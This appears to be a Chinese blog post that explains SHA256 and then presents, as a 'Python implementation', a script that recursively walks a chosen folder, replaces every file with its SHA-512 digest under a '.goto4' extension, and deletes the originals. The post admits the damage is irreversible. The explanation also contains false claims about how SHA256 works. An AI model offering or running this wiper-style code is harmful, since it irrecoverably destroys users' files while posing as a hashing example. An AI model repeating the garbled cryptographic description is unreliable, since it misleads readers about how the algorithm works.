【Python SHA256 摘要算法】

SHA256 是一种广泛使用的密码散列函数,用于生成数据的唯一指纹,即散列值。它属于SHA-2家族,该家族还包括 SHA-384SHA-512 算法。SHA256 算法在许多领域都有应用,例如:

  1. 数据完整性验证:用于验证数据在传输或存储过程中是否被篡改。例如,在下载软件时,通常会提供软件的 SHA256 哈希值,用户下载后可以计算本地文件的哈希值并与提供的进行比较,如果相同,则说明数据完整未被篡改。
  2. 数字签名:与数字证书结合,确保消息的来源和完整性。
  3. 密码存储:在存储用户密码时,通常不会直接存储明文密码,而是存储密码的 SHA256 哈希值。当用户登录时,再次计算输入密码的哈

SHA256 算法原理

SHA256 算法基于一种称为碰撞攻击的原理,即试图找到两个不同的输入值,它们产生相同的散列值。SHA256 算法通过以下步骤生成散列值:

  1. 预处理: 将输入数据填充到 512 位的块中,并添加一个 64 位的长度字段。
  2. 初始化哈希值: 定义一个 256 位的初始哈希值,称为“工作变量”。
  3. 处理每个块: 将数据块分成 512 位的块,并对每个块进行以下步骤:
    • 初始值: 定义四个 32 位的初始值,称为“圆周率”。
    • 消息扩展: 将 512 位的数据块扩展为 1600 位的消息扩展。
    • 压缩函数: 使用压缩函数对消息扩展和初始值进行 64 轮迭代,生成新的哈希值。
  4. 输出: 将最终哈希值输出为 256 位的散列值。

SHA256 算法特点

  • 不可逆: 无法从散列值反推出原始数据。
  • 抗碰撞: 很难找到两个不同的输入值,它们产生相同的散列值。
  • 固定长度: 生成固定长度的散列值,即 256 位。
  • 高效: 计算速度快,适用于处理大量数据。

SHA256 算法应用示例

  • 密码学: 生成文件或消息的散列值,用于验证数据的完整性。
  • 数字签名: 使用私钥对消息的散列值进行签名,使用公钥可以验证签名的有效性。
  • 数据完整性: 验证数据是否在传输过程中被篡改,例如在区块链中验证交易。
  • 数据加密: 与其他算法结合,例如对称加密算法,用于加密数据。
  • 哈希表: 用于快速查找数据,例如在数据库中查找数据。

Python实现SHA256算法代码

import os
import hashlib
from tkinter import filedialog
import tkinter as tk

def encrypt_file(file_path):
    # 读取文件内容
    with open(file_path, 'rb') as file:
        content = file.read()

    # 使用SHA-512算法进行加密
    encrypted_content = hashlib.sha512(content).digest()

    # 修改文件后缀名为".goto4"
    new_file_path = file_path + '.goto4'

    # 覆盖源文件
    with open(new_file_path, 'wb') as file:
        file.write(encrypted_content)

        # 删除原文件
        os.remove(file_path)

def encrypt_folder(folder_path):
    # 遍历文件夹中的所有文件和子文件夹
    for root, dirs, files in os.walk(folder_path):
        for file in files:
            file_path = os.path.join(root, file)
            encrypt_file(file_path)

def select_folder():
    root = tk.Tk()
    root.iconbitmap('mp4/favicon.ico')
    root.withdraw()  # 隐藏主窗口
    folder_path = filedialog.askdirectory()
    if folder_path:
        encrypt_folder(folder_path)
        print("加密完成!")
    else:
        print("未选择文件夹")

if __name__ == '__main__':
    select_folder()

代码分析

该程序用于对指定文件夹及其子文件夹中的所有文件进行加密。加密采用 SHA-512 算法,并将加密后的文件覆盖原文件,同时删除原文件,修改文件后缀名为 .goto4

代码原理

  1. 程序首先定义了一个 encrypt_file 函数,用于读取文件的二进制内容,使用 SHA-512 算法对内容进行加密,生成加密后的内容。然后创建一个新的文件路径,将加密后的内容写入新文件,最后删除原文件。
  2. 接着定义了 encrypt_folder 函数,通过 os.walk 遍历指定文件夹及其子文件夹中的所有文件,对每个文件调用 encrypt_file 函数进行加密处理。
  3. select_folder 函数使用 tkinterfiledialog 模块获取用户选择的文件夹路径,如果获取到有效的文件夹路径,则调用 encrypt_folder 函数进行加密处理,否则提示未选择文件夹。
  4. if __name__ == '__main__': 部分,调用 select_folder 函数启动整个程序。

程序运行演示

请注意,摘要算法不是加密算法,一旦计算就是无法回头,没有“解密”一说

运行前
在这里插入图片描述
在这里插入图片描述
(留意一下文件大小)
运行后
在这里插入图片描述

在这里插入图片描述

可以看到,文件的大小都变成了1KB,都是无法回头的。。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值